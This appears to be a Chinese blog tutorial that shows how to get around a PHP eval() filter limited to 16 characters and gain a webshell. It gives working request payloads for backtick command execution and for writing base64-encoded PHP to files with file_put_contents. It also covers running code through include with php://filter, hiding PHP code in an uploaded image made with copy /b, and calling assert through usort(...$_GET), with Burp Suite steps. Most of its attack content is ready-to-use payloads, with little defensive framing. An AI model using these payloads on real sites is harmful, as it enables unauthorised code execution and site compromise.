EVAL长度限制突破方法

EVAL长度限制突破方法

复制代码
<?php
$param = $_REQUEST['param']; 
If (strlen($param) < 17 && stripos($param, 'eval') === false && stripos($param, 'assert') === false) //长度小于17,没有eval和assert关键字
{
    eval($param);
}
//stripos --- 查找字符串首次出现的位置(不区分大小写)

eval函数参数限制在16个字符的情况下,如何拿到Webshell?

`$_GET[1]'

相似答案:

复制代码
exec($_GET[1]); 

linux下反引号可以执行命令

?param=echo $_GET[0];&0=id

那么就可以写一些内容到一些文件里去

再访问一下

param=echo%20$_GET[0];&0=param=echo $_GET[0];&0=echo '<?php phpinfo();' > a.php

写入成功

也可以使用base64编码写入:echo PD9waHAgcGhwaW5mbygpOw | base64 -d > aa.php

param=$_GET1;

php 复制代码
param=$_GET[1](N,P,8); &1=file_put_contents //file_put_contents将数据写入文件
......
最后把PD9waHAgcGhwaW5mbygpOw写进文件N。
那怎么解码执行呢?
param=include$_GET[1];&1=php://filter/read=convert.base64-decode/resource=N
read读取N里面的内容进行base64解码。虽然N不是php文件,但是文件包含可以把任意一个文件里面的php代码执行起来

php:// --- 访问各个输入/输出流(I/O streams)
php://filter是一种元封装器, 设计用于数据流打开时的筛选过滤应用。(可用的过滤器:字符串过滤器、转换过滤器、压缩过滤器、加密过滤器)
这里用转换过滤器:convert.base64-encode 和 convert.base64-decode。使用这两个过滤器等同于分别用 base64_encode() 和 base64_decode() 函数处理所有的流数据。
文件包含

找一张普通图片

写一个php文件

copy /b 001.png + web.php /a web.jpg----------/b → 表示以二进制模式处理 001.png

​ + → 表示合并文件。

​ web.php→ 第二个文件。

​ /a→ 表示以 ASCII 文本模式 处理 web.php。

​ web.jpg → 最终输出的文件名。

web.jpg可以正常打开看到图片,使用记事本打开图片,可以在文件的最后看到写入的php代码。

很多网站都有上传图片的功能(上传头像等),上传之后检查代码就可以看到上传的路径,用include_$GET['文件路径']就可以了。

文件包含可以把任意一个文件里面的php代码执行起来

usort(...$_GET);

复制代码
?1[]=test&1[]=phpinfo();&2=assert

在windows上访问

使用BurpSuite抓包

抓到之后发送给Repeater,然后转换为POST

在php的整体运行流程中允许POST和GET同步执行

(...$_GET(变长参数))把1[]=test&1[]=phpinfo();&2=assert接过来了,然后就放到usort中,一个数组,一个回调函数。

发送

相关推荐
小猫会后空翻5 小时前
RCE真实漏洞初体验
渗透·rce
泪不是Web妳而流3 个月前
【CTFSHOW_Web入门】命令执行
web安全·网络安全·php·linux命令·rce·命令执行·ctfshow命令执行wp题解
ALe要立志成为web糕手3 个月前
create_function()漏洞利用
安全·web安全·网络安全·php·rce
ALe要立志成为web糕手3 个月前
LFI to RCE
安全·web安全·网络安全·文件包含·rce
Bug.ink4 个月前
RCE——回调后门
网络安全·rce
Komorebi.py4 个月前
RCE学习:一些技巧
学习·安全·rce
H轨迹H6 个月前
CTFHub-RCE漏洞wp
网络安全·渗透测试·rce·web漏洞·ctfhub
相隔一个图书馆的距离9 个月前
redis源码系列--(二)--multi/exec/eval命令执行流程
数据库·redis·缓存·exec·eval·multi
LLINELL10 个月前
2024秋季云曦开学考
web·misc·rce